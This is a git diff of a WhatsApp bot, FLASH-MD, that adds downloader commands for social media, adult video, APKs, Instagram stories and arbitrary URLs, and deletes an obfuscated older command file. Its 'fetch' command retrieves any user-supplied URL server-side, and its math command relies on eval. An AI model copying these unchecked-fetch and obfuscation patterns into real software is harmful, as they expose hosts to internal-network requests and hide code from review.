data.BK9.high) { + await sock.sendMessage(chatId, { + video: { url: data.BK9.high }, + caption: "🎥 *FLASH-MD* Video Downloader (High Quality)", + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + + await sock.sendMessage(chatId, { + text: "✅ Video downloaded successfully!" + }, { quoted: msg }); + + } else { + await sock.sendMessage(chatId, { + text: "❌ No valid video found." + }, { quoted: msg }); + } + + } catch (error) { + console.error("Video-DL Error:", error); + await sock.sendMessage(chatId, { + text: "An error occurred while processing the video request. Please try again." + }, { quoted: msg }); + } + } +}, + { + name: "tgs", + get flashOnly() { + return franceking(); +}, + aliases: ["tg"], + description: "Download and send all stickers from a Telegram pack", + category: "Download", + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + + if (!args || args.length === 0) { + return await sock.sendMessage(chatId, { + text: "Please provide a Telegram sticker pack URL." + }, { quoted: msg }); + } + + try { + const stickerPackUrl = args.join(" "); + const res = await fetch(`https://weeb-api.vercel.app/telesticker?url=${encodeURIComponent(stickerPackUrl)}`); + const data = await res.json(); + + if (data.stickers && data.stickers.length > 0) { + for (const stickerUrl of data.stickers) { + await sock.sendMessage(chatId, { + sticker: { url: stickerUrl }, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + } + + await sock.sendMessage(chatId, { + text: "✅ All Telegram stickers sent successfully!" + }, { quoted: msg }); + + } else { + await sock.sendMessage(chatId, { + text: "❌ No stickers found in the provided pack." + }, { quoted: msg }); + } + + } catch (err) { + console.error("TGS Error:", err); + await sock.sendMessage(chatId, { + text: "An error occurred while fetching the sticker pack. Please try again later." + }, { quoted: msg }); + } + } +}, +{ + name: "xdl", + get flashOnly() { + return franceking(); +}, + aliases: ["xvideodl"], + description: "Download adult video from xnxx in high quality", + category: "Download", + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + + if (!args || args.length === 0) { + return await sock.sendMessage(chatId, { + text: "Please provide the video URL to download." + }, { quoted: msg }); + } + + try { + const videoUrl = args.join(" "); + const response = await fetch(`https://api.agatz.xyz/api/xnxxdown?url=${encodeURIComponent(videoUrl)}`); + const data = await response.json(); + + if (!data.status || !data.data || !data.data.status) { + return await sock.sendMessage(chatId, { + text: "❌ Failed to retrieve video info. Please check the link." + }, { quoted: msg }); + } + + const videoData = data.data; + const highQualityUrl = videoData.files?.high; + + if (!highQualityUrl) { + return await sock.sendMessage(chatId, { + text: "❌ High quality video not available." + }, { quoted: msg }); + } + + const caption = `*🔞 THE FLASH-MD X-Video Downloader 🥵*\n\n` + + `• *Title:* ${videoData.title}\n` + + `• *Duration:* ${videoData.duration}s\n` + + `• *Info:* ${videoData.info}\n` + + `• *Quality:* High`; + + await sock.sendMessage(chatId, { + video: { url: highQualityUrl }, + caption, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + + } catch (error) { + console.error("XDL Error:", error); + await sock.sendMessage(chatId, { + text: "⚠️ An error occurred while processing the request. Try again later." + }, { quoted: msg }); + } + } +}, + + { + name: "xsearch", + get flashOnly() { + return franceking(); +}, + aliases: [], + description: "Search for videos on XNXX", + category: "General", + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + + if (!args || args.length === 0) { + return await sock.sendMessage(chatId, { + text: "Please provide a search query." + }, { quoted: msg }); + } + + const query = args.join(" "); + const apiUrl = `https://api.agatz.xyz/api/xnxx?message=${encodeURIComponent(query)}`; + + try { + const res = await fetch(apiUrl); + const jsonData = await res.json(); + + if (jsonData.status !== 200 || !jsonData.data?.result || jsonData.data.result.length === 0) { + return await sock.sendMessage(chatId, { + text: "No results found for your query." + }, { quoted: msg }); + } + + const results = jsonData.data.result; + + let resultsText = `*YOUR XSEARCH RESULTS*\n\n`; + for (const video of results) { + resultsText += + `Title: ${video.title}\n` + + `Info: ${video.info}\n` + + `Link: ${video.link}\n\n` + + `Use the xdl command to download your video\n\n`; + } + + await sock.sendMessage(chatId, { text: resultsText }, { quoted: msg }); + + } catch (error) { + console.error("XSEARCH Error:", error); + await sock.sendMessage(chatId, { + text: "An error occurred while fetching the search results. Please try again later." + }, { quoted: msg }); + } + } +}, + + { + name: "gitclone", + get flashOnly() { + return franceking(); +}, + category: "Download", + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + + if (!args || args.length === 0) { + return await sock.sendMessage(chatId, { text: "Please provide a valid GitHub repo link." }, { quoted: msg }); + } + + const gitlink = args.join(" "); + if (!gitlink.includes("github.com")) { + return await sock.sendMessage(chatId, { text: "Is that a GitHub repo link?!" }, { quoted: msg }); + } + + try { + let regex1 = /(?:https|git)(?::\/\/|@)github\.com[\/:]([^\/:]+)\/(.+)/i; + let [, user3, repo] = gitlink.match(regex1) || []; + if (!user3 || !repo) { + return await sock.sendMessage(chatId, { text: "Invalid GitHub repo link." }, { quoted: msg }); + } + + repo = repo.replace(/\.git$/, ""); + let url = `https://api.github.com/repos/${user3}/${repo}/zipball`; + + const headResponse = await fetch(url, { method: "HEAD" }); + const contentDisposition = headResponse.headers.get("content-disposition"); + if (!contentDisposition) { + return await sock.sendMessage(chatId, { text: "Failed to get repo archive." }, { quoted: msg }); + } + + const filenameMatch = contentDisposition.match(/attachment; filename=(.*)/); + if (!filenameMatch) { + return await sock.sendMessage(chatId, { text: "Failed to parse filename." }, { quoted: msg }); + } + + const filename = filenameMatch[1]; + await sock.sendMessage( + chatId, + { + document: { url }, + fileName: filename.endsWith(".zip") ? filename : filename + ".zip", + mimetype: "application/zip", + }, + { quoted: msg } + ); + } catch (error) { + console.error("GitClone Error:", error); + await sock.sendMessage(chatId, { text: "An error occurred while fetching the GitHub repo." }, { quoted: msg }); + } + }, +}, + + { + name: "math", + get flashOnly() { + return franceking(); +}, + category: "General", + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + const input = args.join("").replace(/\s+/g, ""); + + if (!/^[0-9+\-*/().]+$/.test(input)) { + return await sock.sendMessage(chatId, { text: "Invalid input. Please use a valid format like '1+1' or '2*3+5/2'." }, { quoted: msg }); + } + + try { + const result = eval(input); + if (!isFinite(result)) { + return await sock.sendMessage(chatId, { text: "Error: Division by zero or other invalid operation." }, { quoted: msg }); + } + + await sock.sendMessage(chatId, { text: `The result is: ${result}` }, { quoted: msg }); + } catch { + await sock.sendMessage(chatId, { text: "Invalid expression. Please ensure you are using valid mathematical operators." }, { quoted: msg }); + } + }, +}, +{ + name: "fb", + get flashOnly() { + return franceking(); +}, + aliases: ["fbdl", "facebook", "fb1"], + reaction: "📽️", + category: "Download", + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + + const contextInfo = { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + }; + + if (!args[0]) { + return await sock.sendMessage(chatId, { + text: "Insert a public facebook video link!" + }, { quoted: msg }); + } + + const queryURL = args.join(" "); + + try { + getFBInfo(queryURL) + .then(async (result) => { + const caption = `*Title:* ${result.title}\n\n*Direct Link:* ${result.url}`; + await sock.sendMessage(chatId, { + image: { url: result.thumbnail }, + caption + }, { quoted: msg }); + + await sock.sendMessage(chatId, { + video: { url: result.hd }, + caption: "_╰►FB VIDEO DOWNLOADED BY_ *FLASH-MD*", + contextInfo + }, { quoted: msg }); + }) + .catch(async () => { + await sock.sendMessage(chatId, { + text: "try fb2 on this link" + }, { quoted: msg }); + }); + } catch (error) { + await sock.sendMessage(chatId, { + text: "An error occurred while downloading your media." + }, { quoted: msg }); + } + } +}, + { + name: "fb2", + get flashOnly() { + return franceking(); +}, + aliases: ["fbdl2", "fb2", "facebook2"], + reaction: "📽️", + category: "Download", + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + + const contextInfo = { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + }; + + if (!args[0]) { + return await sock.sendMessage(chatId, { + text: "Insert a public facebook video link!" + }, { quoted: msg }); + } + + const queryURL = args.join(" "); + + try { + getFBInfo(queryURL) + .then(async (result) => { + const caption = `*Title:* ${result.title}\n\n*Direct Link:* ${result.url}`; + await sock.sendMessage(chatId, { + image: { url: result.thumbnail }, + caption + }, { quoted: msg }); + + await sock.sendMessage(chatId, { + video: { url: result.sd }, + caption: "_╰►FACEBOOK VIDEO DOWNLOADED BY_ *FLASH-MD*", + contextInfo + }, { quoted: msg }); + }) + .catch(async (error) => { + await sock.sendMessage(chatId, { + text: error.toString() + }, { quoted: msg }); + }); + } catch (error) { + await sock.sendMessage(chatId, { + text: "An error occurred while Flash-MD was downloading your media." + }, { quoted: msg }); + } + } +}, + + { + name: "element", + get flashOnly() { + return franceking(); +}, + aliases: ["chem", "study"], + category: "User", + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + + const contextInfo = { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + }; + + const element = args.join(" "); + if (!element) { + return await sock.sendMessage(chatId, { + text: "Please specify an element name or symbol." + }, { quoted: msg }); + } + + try { + const apiUrl = `https://api.popcat.xyz/periodic-table?element=${encodeURIComponent(element)}`; + const response = await fetch(apiUrl); + const result = await response.json(); + + if (result && !result.error) { + const info = + `Element Name: ${result.name}\n` + + `Element Symbol: ${result.symbol}\n` + + `Atomic Number: ${result.atomic_number}\n` + + `Atomic Mass: ${result.atomic_mass}\n` + + `Period: ${result.period}\n` + + `Phase: ${result.phase}\n` + + `Discovered By: ${result.discovered_by}`; + + await sock.sendMessage(chatId, { + text: "A moment, FLASH-MD is sending your results" + }, { quoted: msg }); + + if (result.image) { + await sock.sendMessage(chatId, { + image: { url: result.image }, + caption: info, + contextInfo + }, { quoted: msg }); + } else { + await sock.sendMessage(chatId, { + text: info, + contextInfo + }, { quoted: msg }); + } + } else { + await sock.sendMessage(chatId, { + text: "Element not found or error fetching data." + }, { quoted: msg }); + } + } catch (error) { + await sock.sendMessage(chatId, { + text: "Error fetching element data." + }, { quoted: msg }); + } + } +}, +{ + name: "blackpink", + get flashOnly() { + return franceking(); +}, + aliases: ["bpink"], + category: "Download", + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + + const contextInfo = { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + }; + + if (args[0]) { + return await sock.sendMessage(chatId, { + text: "This command doesn't require any arguments. Just type the command to get 5 random Blackpink images!" + }, { quoted: msg }); + } + + try { + const response = await fetch('https://raw.githubusercontent.com/arivpn/dbase/master/kpop/blekping.txt'); + const textData = await response.text(); + const imageUrls = textData.split('\n').filter(url => url.trim() !== ''); + + if (imageUrls.length < 5) { + return await sock.sendMessage(chatId, { + text: "There aren't enough images available at the moment. Please try again later." + }, { quoted: msg }); + } + + const selectedImages = []; + while (selectedImages.length < 5) { + const randomImage = imageUrls[Math.floor(Math.random() * imageUrls.length)]; + if (!selectedImages.includes(randomImage)) { + selectedImages.push(randomImage); + } + } + + await sock.sendMessage(chatId, { + text: "FLASH-MD is sending you 5 BLACKPINK IMAGES" + }, { quoted: msg }); + + for (const imageUrl of selectedImages) { + await sock.sendMessage(chatId, { + image: { url: imageUrl }, + caption: "_╰►DOWNLOADED BY_ *FLASH-MD*", + contextInfo + }, { quoted: msg }); + } + + await sock.sendMessage(chatId, { + text: "SUCCESSFULLY SENT THE 5 IMAGES ✅" + }, { quoted: msg }); + + } catch (e) { + await sock.sendMessage(chatId, { + text: "A fatal error has occurred... \n " + e.message + }, { quoted: msg }); + } + } +}, + +{ + name: 'story', + get flashOnly() { + return franceking(); +}, + aliases: ['igstories', 'stories'], + description: 'Fetch Instagram stories using.', + category: 'Download', + + async execute(king, msg, args, fromJid) { + const username = args[0]?.toLowerCase(); + if (!username) { + return king.sendMessage(fromJid, { + text: '📖 *Provide a username to fetch stories.*\n\nExample: `story france.king1`' + }, { quoted: msg }); + } + + try { + const res = await fetchStories(username); + + if (!res || res.total === 0 || !Array.isArray(res.items)) { + return king.sendMessage(fromJid, { + text: `⚠️ No stories found for *${username}*.` + }, { quoted: msg }); + } + + const stories = res.items.slice(0, 5); + + for (const [index, item] of stories.entries()) { + const caption = `📖 *${username}* - Story ${index + 1} of ${stories.length}\n\n_*✨Downloaded by Flash-Md-V2*_`; + + if (item.type === 'image') { + await king.sendMessage(fromJid, { + image: { url: item.url }, + caption + }, { quoted: msg }); + } else if (item.type === 'video') { + await king.sendMessage(fromJid, { + video: { url: item.url }, + caption + }, { quoted: msg }); + } else { + await king.sendMessage(fromJid, { + text: `⚠️ Unknown media type:\n${item.url}` + }, { quoted: msg }); + } + } + + } catch (error) { + console.error('Error fetching Instagram stories:', error); + return king.sendMessage(fromJid, { + text: `❌ Failed to fetch stories for *${username}*. Try again later.` + }, { quoted: msg }); + } + } +}, + { + name: "mediafire", + get flashOnly() { + return franceking(); +}, + aliases: ["mf", "mfdl"], + description: "Download files from MediaFire", + category: "Download", + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; +const contextInfo = { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } +}; + const input = args.join(' '); + if (!input) { + return await sock.sendMessage(chatId, { + text: "Please insert a MediaFire file link.", + contextInfo + }, { quoted: msg }); + } + + try { + await sock.sendMessage(chatId, { + text: "Fetching your file from MediaFire, please wait...", + contextInfo + }, { quoted: msg }); + + const res = await axios.get(`https://bk9.fun/download/mediafire?url=${encodeURIComponent(input)}`); + const data = res.data; + + if (!data.status || !data.BK9 || !data.BK9.link) { + return await sock.sendMessage(chatId, { + text: "Failed to retrieve file. Please check the link and try again.", + contextInfo + }, { quoted: msg }); + } + + const file = data.BK9; + + await sock.sendMessage(chatId, { + document: { url: file.link }, + fileName: file.name, + mimetype: `application/${file.mime.toLowerCase()}`, + caption: + `╰► *MediaFire Download Completed!*\n` + + `Downloaded by: *FLASH-MD*\n\n` + + `📂 *Name:* ${file.name}\n` + + `📦 *Size:* ${file.size}\n` + + `📄 *Type:* ${file.filetype}\n` + + `📅 *Uploaded:* ${file.uploaded}` + }, { quoted: msg }); + + } catch (err) { + console.error("MediaFire Error:", err); + await sock.sendMessage(chatId, { + text: "An error occurred while processing the request. Please try again later.", + contextInfo + }, { quoted: msg }); + } + } +}, + + +{ + name: "image-dl", + get flashOnly() { + return franceking(); +}, + aliases: ["imgdl"], + description: "Download high-quality images from social media URLs", + category: "Download", + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + + if (!args || args.length === 0) { + return await sock.sendMessage(chatId, { + text: "Please provide a valid image URL." + }, { quoted: msg }); + } + + try { + const url = args.join(' '); + const res = await fetch(`https://bk9.fun/download/alldownload?url=${encodeURIComponent(url)}`); + const data = await res.json(); + + if (data.status && data.BK9 && data.BK9.high) { + await sock.sendMessage(chatId, { + image: { url: data.BK9.high }, + caption: "📸 *FLASH-MD* Image Downloader (High Quality)", + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }, { quoted: msg }); + + await sock.sendMessage(chatId, { + text: "✅ Image downloaded successfully!" + }, { quoted: msg }); + + } else { + await sock.sendMessage(chatId, { + text: "❌ No valid high-quality image found." + }, { quoted: msg }); + } + + } catch (error) { + console.error("Image-DL Error:", error); + await sock.sendMessage(chatId, { + text: "An error occurred while processing the image request. Please try again." + }, { quoted: msg }); + } + } +}, + + +{ + name: 'apk', + aliases: ['app', 'application'], + get flashOnly() { + return franceking(); + }, + description: 'Search and download Android APK files.', + category: 'Download', + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + + if (!args || !args.length) { + return await sock.sendMessage(chatId, { + text: '❗ Please provide an app name to search for.' + }, { quoted: msg }); + } + + const query = args.join(' '); + + try { + await sock.sendMessage(chatId, { + text: '🔍 Searching for the APK, please wait...' + }, { quoted: msg }); + + const results = await search(query); + if (!results || results.length === 0) { + return await sock.sendMessage(chatId, { + text: `❌ No APKs found for "${query}".` + }, { quoted: msg }); + } + + const apk = results[0]; + const dlInfo = await download(apk.id); + + if (!dlInfo || !dlInfo.dllink) { + return await sock.sendMessage(chatId, { + text: '❌ Failed to retrieve the download link.' + }, { quoted: msg }); + } + + await sock.sendMessage(chatId, { + document: { url: dlInfo.dllink }, + mimetype: 'application/vnd.android.package-archive', + fileName: `${apk.name}.apk`, + caption: `*📥 APK DOWNLOADER* + +*📌 App:* ${apk.name} +*📎 Type:* APK File +*⚙️ Powered by:* FLASH-MD` + }, { quoted: msg }); + + await sock.sendMessage(chatId, { + text: `✅ Successfully fetched and sent APK for *${apk.name}*. + +_Enjoy using the app. Powered by FLASH-MD_`, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }); + + } catch (error) { + console.error('APK Error:', error); + await sock.sendMessage(chatId, { + text: '❌ An error occurred while processing your APK request.' + }, { quoted: msg }); + } + } +}, + + { + name: 'fetch', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Fetches content from a URL and responds with the appropriate media or text.', + category: 'Search', + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + const url = args.join(' '); + + if (!/^https?:\/\//.test(url)) { + return await sock.sendMessage(chatId, { + text: '❗ Please start the URL with *http://* or *https://*' + }, { quoted: msg }); + } + + try { + const response = await axios.get(url, { + responseType: 'arraybuffer', + maxContentLength: 100 * 1024 * 1024, + validateStatus: () => true + }); + + const contentType = response.headers['content-type'] || ''; + const contentLength = parseInt(response.headers['content-length'] || '0'); + + if (response.status >= 400) { + return await sock.sendMessage(chatId, { + text: `❌ Failed to fetch the URL. Status: ${response.status}` + }, { quoted: msg }); + } + + if (contentLength > 100 * 1024 * 1024) { + return await sock.sendMessage(chatId, { + text: '⚠️ The content is too large to process (over 100MB).' + }, { quoted: msg }); + } + + const meta = { + quoted: msg, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }; + + const buffer = Buffer.from(response.data); + + if (/image\//.test(contentType)) { + return await sock.sendMessage(chatId, { + image: buffer, + caption: '> > *POWERED BY FLASH-MD*' + }, meta); + } + + if (/video\//.test(contentType)) { + return await sock.sendMessage(chatId, { + video: buffer, + caption: '> > *POWERED BY FLASH-MD*' + }, meta); + } + + if (/audio\//.test(contentType)) { + return await sock.sendMessage(chatId, { + audio: buffer, + caption: '> > *POWERED BY FLASH-MD*' + }, meta); + } + + if (/json|text\//.test(contentType)) { + let textContent = buffer.toString(); + try { + const parsed = JSON.parse(textContent); + textContent = JSON.stringify(parsed, null, 2); + } catch {} + return await sock.sendMessage(chatId, { + text: `*FETCHED CONTENT*\n\n${textContent.slice(0, 65536)}` + }, meta); + } + + return await sock.sendMessage(chatId, { + document: buffer, + mimetype: contentType, + fileName: 'fetched_content', + caption: '> > *POWERED BY FLASH-MD*' + }, meta); + } catch (err) { + return await sock.sendMessage(chatId, { + text: `❌ Error fetching content: ${err.message}` + }, { quoted: msg }); + } + } + } +]; diff --git a/commands/Downloads.js b/commands/Downloads.js deleted file mode 100644 index 6ed28270..00000000 --- a/commands/Downloads.js +++ /dev/null @@ -1,20 +0,0 @@ - - -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - -const _0x420ee0=_0x5ccb;(function(_0x2675be,_0x103386){const _0x58bb0b=_0x5ccb,_0x1549cd=_0x2675be();while(!![]){try{const _0x4b652e=-parseInt(_0x58bb0b(0x1cf))/0x1+parseInt(_0x58bb0b(0x1c8))/0x2*(-parseInt(_0x58bb0b(0x1a4))/0x3)+parseInt(_0x58bb0b(0x1cd))/0x4*(parseInt(_0x58bb0b(0x1b5))/0x5)+-parseInt(_0x58bb0b(0x194))/0x6*(-parseInt(_0x58bb0b(0x1cb))/0x7)+parseInt(_0x58bb0b(0x1af))/0x8*(-parseInt(_0x58bb0b(0x1c2))/0x9)+-parseInt(_0x58bb0b(0x1ba))/0xa*(parseInt(_0x58bb0b(0x1b8))/0xb)+-parseInt(_0x58bb0b(0x1b6))/0xc*(-parseInt(_0x58bb0b(0x199))/0xd);if(_0x4b652e===_0x103386)break;else _0x1549cd['push'](_0x1549cd['shift']());}catch(_0x1387a9){_0x1549cd['push'](_0x1549cd['shift']());}}}(_0xde14,0xc84fd));function _0x5ccb(_0x1087f1,_0x38d413){const _0xde14e9=_0xde14();return _0x5ccb=function(_0x5ccbe8,_0x4d58e9){_0x5ccbe8=_0x5ccbe8-0x194;let _0x412f8a=_0xde14e9[_0x5ccbe8];return _0x412f8a;},_0x5ccb(_0x1087f1,_0x38d413);}const {mediafireDl}=require(_0x420ee0(0x1bc)),{france}=require(_0x420ee0(0x198)),fs=require('fs'),getFBInfo=require(_0x420ee0(0x1cc)),{default:axios}=require('axios');france({'nomCom':'insta','categorie':'Download'},async(_0x4f0a8f,_0x1283f0,_0x5dcbf9)=>{const _0x1cf5c9=_0x420ee0,{ms:_0x186c2f,repondre:_0x15b50d,arg:_0x369fe5}=_0x5dcbf9;let _0x1448fc=_0x369fe5[_0x1cf5c9(0x1c1)]('\x20');if(!_0x369fe5[0x0]){_0x15b50d('Please\x20insert\x20an\x20Instagram\x20video\x20link');return;};try{const _0x34e950=await fetch(_0x1cf5c9(0x1a8)+_0x1448fc),_0x1415e2=await _0x34e950[_0x1cf5c9(0x1ca)]();if(_0x1415e2&&_0x1415e2[_0x1cf5c9(0x19a)]&&_0x1415e2['result'][_0x1cf5c9(0x1c9)]&&_0x1415e2[_0x1cf5c9(0x19a)][_0x1cf5c9(0x1c9)][_0x1cf5c9(0x1be)]>0x0){const _0x14c3a7=_0x1415e2[_0x1cf5c9(0x19a)][_0x1cf5c9(0x1c9)][0x0];_0x14c3a7[_0x1cf5c9(0x1ac)]===_0x1cf5c9(0x1ab)?_0x1283f0[_0x1cf5c9(0x196)](_0x4f0a8f,{'video':{'url':_0x14c3a7['url']},'caption':_0x1cf5c9(0x1d2),'gifPlayback':![]},{'quoted':_0x186c2f}):_0x1283f0['sendMessage'](_0x4f0a8f,{'image':{'url':_0x14c3a7[_0x1cf5c9(0x1aa)]},'caption':'Here\x20is\x20your\x20Instagram\x20Image!\x0a\x20_Downloaded\x20by_\x20*FLASH-MD*'});}else throw new Error('No\x20media\x20found\x20in\x20the\x20response\x20data');}catch(_0x55f86c){console[_0x1cf5c9(0x1b0)](_0x1cf5c9(0x1d0),_0x55f86c);}}),france({'nomCom':'twitter','categorie':_0x420ee0(0x195)},async(_0x2eba4e,_0x37f532,_0x715501)=>{const _0x6d4dad=_0x420ee0,{ms:_0x217842,repondre:_0x1c600f,arg:_0x391c82}=_0x715501;let _0x775e9d=_0x391c82['join']('\x20');if(!_0x391c82[0x0]){_0x1c600f('Please\x20insert\x20a\x20*TWITTER\x20Video\x20Link*\x20for\x20*FLASH-MD*\x20to\x20download\x20');return;}try{const _0x32dae2=await fetch(_0x6d4dad(0x1c0)+_0x775e9d),_0x3792d4=await _0x32dae2['json']();if(_0x3792d4&&_0x3792d4[_0x6d4dad(0x1c9)]&&_0x3792d4['data']['HD']){const _0x2eb2e5=_0x3792d4[_0x6d4dad(0x1c9)]['HD'];_0x37f532['sendMessage'](_0x2eba4e,{'video':{'url':_0x2eb2e5},'caption':'Here\x20is\x20your\x20Twitter\x20Video.\x0a\x20_Downloaded\x20by_\x20*FLASH-MD*','gifPlayback':![]},{'quoted':_0x217842});}}catch(_0x1d1bf0){_0x1c600f(_0x6d4dad(0x1b9)+_0x1d1bf0);}}),france({'nomCom':_0x420ee0(0x1bb),'categorie':_0x420ee0(0x195)},async(_0x205e43,_0x3acb1c,_0x19f1be)=>{const _0x392d81=_0x420ee0,{ms:_0xf766be,repondre:_0x5c1fd7,arg:_0x15752a}=_0x19f1be;let _0x172b96=_0x15752a['join']('\x20');if(!_0x15752a[0x0]){_0x5c1fd7('Please\x20insert\x20a\x20Tik\x20Tok\x20video\x20link');return;};const _0x71017d=await fetch(_0x392d81(0x1c5)+_0x172b96),_0x4d1099=await _0x71017d[_0x392d81(0x1ca)]();try{if(_0x4d1099&&_0x4d1099['result']&&_0x4d1099[_0x392d81(0x19a)][_0x392d81(0x1aa)]&&_0x4d1099[_0x392d81(0x19a)][_0x392d81(0x1aa)][_0x392d81(0x19e)]){const _0x170522=_0x4d1099[_0x392d81(0x19a)][_0x392d81(0x1aa)][_0x392d81(0x19e)];_0x3acb1c[_0x392d81(0x196)](_0x205e43,{'video':{'url':_0x170522},'caption':_0x392d81(0x1b7),'gifPlayback':![]},{'quoted':_0xf766be});}}catch(_0x12986d){_0x5c1fd7('I\x20am\x20unable\x20to\x20download\x20the\x20file.\x20\x0a\x20'+_0x12986d);}}),france({'nomCom':_0x420ee0(0x1a5),'categorie':_0x420ee0(0x195)},async(_0x212b7e,_0x452e70,_0x5a3e91)=>{const _0x65a797=_0x420ee0,{ms:_0x595354,repondre:_0x2502b2,arg:_0x379b65}=_0x5a3e91;let _0x17d2a8=_0x379b65['join']('\x20');if(!_0x379b65[0x0]){_0x2502b2(_0x65a797(0x1a2));return;};try{const _0x33899d=await mediafireDl(_0x17d2a8);if(_0x33899d[0x0]['size'][_0x65a797(0x1a3)]('MB')[0x0]>=0x64)return m[_0x65a797(0x1b4)](_0x65a797(0x1a6));await _0x452e70[_0x65a797(0x196)](_0x212b7e,{'document':{'url':_0x33899d[0x0][_0x65a797(0x19b)]},'fileName':_0x33899d[0x0][_0x65a797(0x1ae)],'mimetype':_0x33899d[0x0][_0x65a797(0x1a9)],'caption':_0x65a797(0x19f)+_0x33899d[0x0][_0x65a797(0x1ae)]},{'quoted':_0x595354});}catch(_0x282bc6){_0x2502b2('I\x20am\x20unable\x20to\x20download\x20the\x20file.\x20\x0a\x20'+_0x282bc6);}}),france({'nomCom':_0x420ee0(0x197),'categorie':_0x420ee0(0x195),'reaction':_0x420ee0(0x1d1)},async(_0x5d9e2e,_0x172b43,_0x4338a5)=>{const _0x2aee50=_0x420ee0,{repondre:_0x2ff6f1,ms:_0x5d788e,arg:_0x1f3aa8}=_0x4338a5;if(!_0x1f3aa8[0x0]){_0x2ff6f1('Insert\x20a\x20public\x20facebook\x20video\x20link!');return;}const _0x1ef9d5=_0x1f3aa8[_0x2aee50(0x1c1)]('\x20');try{getFBInfo(_0x1ef9d5)[_0x2aee50(0x1b3)](_0x34516a=>{const _0x3523e2=_0x2aee50;let _0x4cd419=_0x3523e2(0x1c4)+_0x34516a['title']+'\x0a\x20\x20\x20\x20\x20\x20\x20\x20Lien:\x20'+_0x34516a[_0x3523e2(0x1aa)]+_0x3523e2(0x1a1);_0x172b43['sendMessage'](_0x5d9e2e,{'image':{'url':_0x34516a[_0x3523e2(0x1b1)]},'caption':_0x4cd419},{'quoted':_0x5d788e}),_0x172b43[_0x3523e2(0x196)](_0x5d9e2e,{'video':{'url':_0x34516a['hd']},'caption':_0x3523e2(0x1a0)},{'quoted':_0x5d788e});})[_0x2aee50(0x1c7)](_0x54302c=>{const 